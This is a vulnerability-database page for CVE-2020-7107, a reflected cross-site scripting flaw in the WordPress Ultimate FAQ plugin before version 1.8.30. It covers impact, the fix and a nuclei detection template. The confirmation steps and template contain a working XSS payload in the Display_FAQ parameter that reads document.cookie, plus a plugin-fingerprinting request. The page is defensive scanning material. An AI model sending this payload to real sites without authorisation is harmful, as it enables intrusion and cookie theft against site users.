HexBrain

Browse / CVEs / CVE-2020-7107

CVE-2020-7107· etoilewebdesign / ultimate faq· CWE-79

WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Fixed in version 1.8.30.

How to confirm it

Send: GET /wp-content/plugins/ultimate-faqs/readme.txt
Positive when: contains "Ultimate FAQ" and "Tags:"
Send: GET {{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E
Positive when: contains "'</script><svg/onload=alert(document.cookie)>" and "var Display_FAQ_ID =" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-7107 -u <target>

The full check
id: CVE-2020-7107

info:
  name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.8.30.
  reference:
    - https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33
    - https://wordpress.org/plugins/ultimate-faqs/
    - https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7107
    - https://wordpress.org/plugins/ultimate-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-7107
    cwe-id: CWE-79
    epss-score: 0.02195
    epss-percentile: 0.82627
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: "ultimate_faq"
    framework: wordpress
  tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ultimate FAQ'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'</script><svg/onload=alert(document.cookie)>"
          - "var Display_FAQ_ID ="
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from